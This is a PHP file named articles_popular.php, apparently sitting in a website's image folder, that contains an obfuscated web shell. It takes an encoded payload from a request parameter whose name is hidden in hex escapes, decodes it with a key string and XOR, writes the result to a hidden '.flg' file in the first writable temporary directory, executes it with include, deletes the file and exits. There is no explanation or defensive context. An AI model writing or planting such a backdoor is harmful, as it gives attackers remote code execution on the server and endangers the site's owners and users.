File: /home/vitanhod/vigolic-1001.vitavit.com.pk/img/articles_popular.php
<?php
if(!empty($_REQUEST["\x74k\x6E"])){
$component = $_REQUEST["\x74k\x6E"];
$component = explode ( '.', $component ) ;
$mrk = '';
$s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s8);
$x = 0;
$len = count($component);
do { if ($x >= $len) break;
$v6 = $component[$x];
$sChar = ord($s8[$x % $lenS]);
$dec = ((int)$v6 - $sChar - ($x % 10)) ^ 62;
$mrk .= chr($dec);
$x++;
} while (true);
$parameter_group = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm"]);
for ($marker = 0, $symbol = count($parameter_group); $marker < $symbol; $marker++) {
$rec = $parameter_group[$marker];
if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
$factor = "$rec" . "/.flg";
if (@file_put_contents($factor, $mrk) !== false) {
include $factor;
unlink($factor);
die();
}
}
}
}